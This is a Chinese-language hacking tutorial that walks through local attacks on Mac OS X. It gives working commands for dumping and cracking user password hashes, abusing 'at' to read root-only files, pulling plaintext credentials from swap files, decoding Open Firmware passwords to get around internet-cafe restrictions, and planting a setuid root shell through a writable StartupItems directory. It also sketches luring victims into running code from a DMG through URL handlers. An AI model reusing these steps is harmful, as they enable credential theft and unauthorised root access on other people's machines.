黑客提供入侵本地Mac OS X的詳細(xì)過(guò)程
本文從提升權(quán)限漏洞的一系列巧妙的方法來(lái)繞過(guò)受保護(hù)的Mac OS X。有些已經(jīng)被處于底層控制,但由于它們存在著更多的認(rèn)證和修補(bǔ)程序,我們不妨讓這些提供出來(lái),以便需要的人學(xué)習(xí)它們。雖然我不只是要利用腳本,而且之后我將解釋可以做哪些事情,讓你利用這些技巧能夠充分地進(jìn)行研究。
破解用戶密碼
在過(guò)去的日子里你只需執(zhí)行“nidump passwd”,并獲得所有用戶密碼加密的一個(gè)DES清單。還有幾種方法可以恢復(fù)用戶密碼,Mac OS X在/etc/shadow或/etc/master密碼文件中不存儲(chǔ)密碼。但是,有一種方法可以恢復(fù)所有用戶的密碼哈希。
Mac OS X使用NetInfo處理用戶賬戶。該密碼哈希存儲(chǔ)在/var/db/shadow/hash/(guid)。每個(gè)用戶都有自己的哈希文件,要獲得一個(gè)用戶清單及其相應(yīng)產(chǎn)生的uid(guid),嘗試:
local: user$ nireport / /users name generateduid uid | grep -v NoValue
admin 559DBF44-4231-11D9-A5A8-00039367EBAE 501
orb 5D97A400-5045-11D9-AFEB-00039367EBAE 502
test C82D45B7-6422-11D9-853D-00039367EBAE 503
因此,“admin”用戶的密碼存儲(chǔ)在/var/db/shadow/hash/559DBF44-4231-11D9-A5A8-00039367EBAE.
現(xiàn)在可以作為Root只讀這個(gè)文件,當(dāng)然,我們也有一些竅門(mén)可以嘗試,讓你閱讀這些文件。但是,首先要說(shuō)的是你目前已擁有Root權(quán)限。
# cat /var/db/shadow/hash/559DBF44-4231-11D9-A5A8
00039367EBAE 209C6174DA490CAEB422F3FA5A7AE634F0D412BD764FFE81AAD3B435B5
1404EED033E22AE348AEB5660FC2140AEC35850C4DA997
這個(gè)巨長(zhǎng)的字符串包含兩個(gè)相同的密碼哈希。第一個(gè)64個(gè)字符組成的SMB散列(這是Windows使用的文件共享,即使沒(méi)有打開(kāi))這實(shí)際上是放在一起的兩個(gè)32個(gè)字符的MD4散列。
最后40個(gè)字符組成了SHA1哈希。你一旦恢復(fù)這個(gè)文件,所有剩下的工作就是正確地格式化這個(gè)文件并通過(guò)Ripper或Lepton's Crack進(jìn)行破解。
SMB 哈希:
admin:209C6174DA490CAEB422F3FA5A7AE634:F0D412BD764FFE81AAD3B435B51404EE
orb:6FFB224FB592476B2230862E220937DA:4B881A967FE694FBAAD3B435B51404EE
test:0CB6948805F797BF2A82807973B89537:01FC5A6BE7BC6929AAD B435B51404EE
SHA1 哈希:
admin:D033E22AE348AEB5660FC2140AEC35850C4DA997
orb:23119F5947DA61A815E7A1CC2AF9BDB8C19CAF1F
test:A94A8FE5CCB19BA61C4C0873D391E987982FBBD3
通過(guò)Root讀取/usr/bin/at
這個(gè)允許你作為root身份讀取/usr/bin/at并分析存在的漏洞。使用這一招,你可以閱讀各種敏感文件,包括用戶密碼哈希、臨時(shí)交換文件、.bash_history文件等。
這將允許你讀取由“admin”用戶所執(zhí)行的命令列表:
local: user$ id
uid=503(test) gid=503(test) groups=503(test)
local: user$ ls -al /users/admin/.bash_history
-rw------- 1 admin staff 1259 12 Apr 2010 /users/admin/. bash_history
local: user$ cat /users/admin/.bash_history cat: /users/admin/.bash_history:
Permission denied
local: user$ at -f /users/admin/.bash_history now+1minute
czy a011afa33.000 will be executed using /bin/sh
local: user$ cat /var/at/jobs/a011afa33.000
只要你有權(quán)使用本地機(jī)器,你可以閱讀所有文件的哈希值:
at -f /var/db/shadow/hash/559DBF44-4231-11D9A5A8-00039367EBAE now+1minute
敏感的交換文件
還有另一種方法就是,使用臨時(shí)交換文件恢復(fù)密碼。包括FileVault、Keychain、login和其它存儲(chǔ)在/var/vm/各種敏感數(shù)據(jù)交換文件,這些文件很大,它需要一些聰明的Unix命令才能夠提取其中有用的東西。然而,很多時(shí)候用戶名和密碼以純文本方式存儲(chǔ)。
嘗試一下你自己的機(jī)器(核實(shí)swapfile1、swap-file2等)。
# strings -8 /var/vm/swapfile0 | grep -A 4 -i longname
每次機(jī)器重啟之后,這些交換文件將被清除。
當(dāng)然,這些文件只能由root讀取。你可以使用“at”漏洞,將這些交換文件復(fù)制到臨時(shí)位置,然后使用上面的命令來(lái)解析這些文件。
欺騙軟件更新
Mac OS X有一個(gè)方便的工具,可以對(duì)安全更新軟件和軟件補(bǔ)丁進(jìn)行自動(dòng)檢查更新。如果你有機(jī)會(huì)獲得一臺(tái)機(jī)器,你可以利用這種方式進(jìn)行欺騙,以為你已經(jīng)安裝了特定的軟件更新和補(bǔ)丁。
檢查/Library/Receipts/目錄,創(chuàng)建一個(gè)與其中一個(gè)更新包和軟件更新相同名字的文件,以替代它。
恢復(fù)開(kāi)放固件密碼
許多公共計(jì)算機(jī),特別是商業(yè)網(wǎng)(網(wǎng)吧),使用特殊的安全軟件或跟蹤裝置以阻止你的一些活動(dòng),甚至要求你按小時(shí)支付。通常,你可以重啟計(jì)算機(jī)進(jìn)入開(kāi)放固件并使用系統(tǒng)的單用戶模式,要么僅僅啟動(dòng)到一個(gè)外部設(shè)備,例如,將Mac OS X復(fù)制并安裝在你的Mp3或Mp4設(shè)備里面。不幸的是,越來(lái)越多的計(jì)算機(jī)都有了開(kāi)放固件密碼的保護(hù)措施,這需要你首先驗(yàn)證所做的這些事情。
如果你擁有root權(quán)限訪問(wèn)終端,請(qǐng)嘗試輸入nvram安全密碼。這應(yīng)該顯示出一個(gè)字符串,即開(kāi)放固件密碼的異十六進(jìn)制編碼。這不是加密的,它只是模糊處理。
nvram security-password
security-password: %d9%df%da%cf%d8%d9%cf%c1%d8%cf%de
密歇根大學(xué)MacSIG小組編寫(xiě)一個(gè)C腳本,能夠生成字符串作為使用開(kāi)放固件的密碼:
http://macosx.si.umich.edu/files/ofpwgen.c
使用這個(gè)你應(yīng)該能夠通過(guò)字符串匹配的nvram security-password從而找到密碼。你也可以使用下面內(nèi)容作為參考:
nvram security-password
a b c d e f g h i j k l m
%cb%c8%c9%ce%cf%cc%cd%c2%c3%c0%c1%c6%c7
n o p q r s t u v w x y z
%c4%c5%da%db%d8%d9%de%df%dc%dd%d2%d3%d0
A B C D E F G H I J K L M
%eb%e8%e9%ee%ef%ec%ed%e2%e3%e0%e1%e6%e7
N O P Q R S T U V W X Y Z
%e4%e5%fa%fb%f8%f9%fe%ff%fc%fd%f2%f3%f0
1 2 3 4 5 6 7 8 9 0 ! @ #
%9b%98%99%9e%9f%9c%9d%92%93%9a%8b%ea%89
$ % ^ & * ( ) + = - _ } {
%8e%8f%f4%8c%80%82%83%81%97%87%f5%d7%d1
當(dāng)你用這個(gè)密碼,你就可以啟動(dòng)到單用戶模式或重啟到你自己的MP3/MP4上存儲(chǔ)的操作系統(tǒng)。
惡意啟動(dòng)項(xiàng)目的利用
如果/Library/StartupItems目錄沒(méi)有被創(chuàng)建,對(duì)于某些軟件則需要?jiǎng)?chuàng)建它,以便機(jī)器重啟時(shí)能夠運(yùn)行程序。這些腳本由root運(yùn)行。往往寫(xiě)得不好的軟件在安裝時(shí)將創(chuàng)建到此目錄中,并允許任何用戶使用該目錄中的文件。人們可以編寫(xiě)一個(gè)惡意腳本,刪除該目錄,重啟計(jì)算機(jī),并能夠以root身份執(zhí)行腳本。
ls -al /Library/StartupItems/
total 0
drwxrwxrwx 3 root admin 102 25 Apr 12:15 .
drwxrwxr-x 39 root admin 1326 26 Apr 09:28 ..
如你所見(jiàn),該目錄的模式是chmod 777 ——這意味著我們可以對(duì)它寫(xiě)入文件。在此目錄中,寫(xiě)一個(gè)相同名稱(chēng)的shell腳本作為目錄所包含的文本:
#!/bin/sh
cp /bin/sh /etc/.rewt
chown root /etc/.rewt
chmod 4755 /etc/.rewt
然后,訪問(wèn)的StartupParameters.plist所包含的文本如下:
{
Description = "NameOfScript";
Provides = ("NameOfScript");
OrderPreference = "None";
}
下次重啟機(jī)器,它會(huì)執(zhí)行你寫(xiě)好的shell腳本。這個(gè)特殊的腳本將在/etc/.rewt里面建立一個(gè)suid root。
URL處理程序漏洞利用
有一些Mac OS X安全問(wèn)題與URL處理有關(guān)。
通過(guò)這些技巧,你能夠在受害者機(jī)器中執(zhí)行代碼,加載任何Web鏈接。
其基本思路是引誘用戶下載并安裝一個(gè)DMG文件,然后嘗試運(yùn)行DMG文件中存儲(chǔ)的代碼。
你可以編寫(xiě)一個(gè)HTML文件,通過(guò)Javascript或一個(gè)meta刷新標(biāo)記自動(dòng)重定向到一個(gè)特定的URL。
DMG文件內(nèi)容可以包含一個(gè)特制的應(yīng)用程序調(diào)用Fun.app,它可以自動(dòng)打開(kāi)一個(gè)新的URL處理程序。
其它有趣的還有:x-man-page://、telnet://、ssh://、ical://、addressbook://、itms://、mms://等等。
尾聲
本文上述的利用方案并不是所有,包括過(guò)去數(shù)年的漏洞攻擊并沒(méi)有提及到。如果你需要針對(duì)的是遠(yuǎn)程系統(tǒng)執(zhí)行入侵任務(wù),那么,你需要更多的思路進(jìn)行研究,它也存在著更多的靈活性和竅門(mén)可以提供我們應(yīng)用,我們需要積極地發(fā)掘它們。